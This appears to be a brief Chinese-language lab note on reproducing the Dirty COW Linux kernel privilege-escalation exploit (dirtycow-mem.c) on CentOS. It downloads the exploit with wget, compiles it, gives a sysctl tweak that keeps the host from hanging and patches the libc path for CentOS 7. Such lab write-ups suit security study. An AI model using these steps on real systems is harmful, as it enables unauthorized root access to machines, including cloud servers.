实验环境
1 | [centos@bogon ~]$ uname -a |
下载
1 | [centos@bogon ~]$ wget https://gist.githubusercontent.com/scumjr/17d91f20f73157c722ba2aea702985d2/raw/a37178567ca7b816a5c6f891080770feca5c74d7/dirtycow-mem.c |
编译
会有几个警告1
2
3
4
5
6
7
8
9[centos@bogon ~]$ gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
dirtycow-mem.c: In function ‘get_range’:
dirtycow-mem.c:139:3: warning: use of assignment suppression and length modifier together in gnu_scanf format [-Wformat=]
sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);
^
dirtycow-mem.c:139:3: warning: use of assignment suppression and length modifier together in gnu_scanf format [-Wformat=]
[centos@bogon ~]$ ls
Desktop dirtycow-mem.c Downloads Pictures Templates
dirtycow-mem Documents Music Public Videos
运行
1 | [centos@bogon ~]$ chmod 777 dirtycow-mem |
记得执行否则可能死掉(阿里云直接死机,腾讯云返回原来的shell)1
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
centos7报错1
2
3
4[centos@bogon ~]$ ./dirtycow-mem
[*] range: 7f3944286000-7f394443c000]
[*] getuid = 7f39443442e0
dirtycow-mem: open("/lib/x86_64-linux-gnu/libc.so.6"): No such file or directory
修改dirtycow-mem.c1
#define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6"
1 | #define LIBC_PATH "/usr/lib64/libc.so.6" |